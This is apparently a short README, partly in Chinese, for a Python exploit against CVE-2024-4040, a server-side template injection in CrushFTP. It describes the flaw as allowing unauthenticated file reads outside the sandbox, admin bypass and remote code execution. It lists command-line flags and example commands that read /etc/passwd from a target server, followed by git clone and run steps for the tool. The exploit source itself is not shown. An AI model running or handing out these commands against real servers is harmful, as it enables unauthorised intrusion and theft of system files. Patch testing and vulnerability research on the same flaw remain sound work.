针对 CVE-2024-4040 的 Python 利用程序
所有版本在 10.7.1 和 11.1.0 之前的 CrushFTP 在所有平台上存在服务器端模板注入漏洞,允许未经身份验证的远程攻击者读取 VFS 沙箱之外的文件系统文件,绕过身份验证以获得管理员权限,并在服务器上执行远程代码。
-h --help Show this screen.
-t --target Specify target URL
-f --file Specify file to include
Only test if vulnerable: exploit.py -t http://10.10.1.23:8080
Include /etc/passwd: exploit.py -t http://10.10.1.23:8080 -f /etc/passwd
git clone https://github.com/1ncendium/CVE-2024-4040.git
cd CVE-2024-4040
python3 exploit.py -t http://target:8080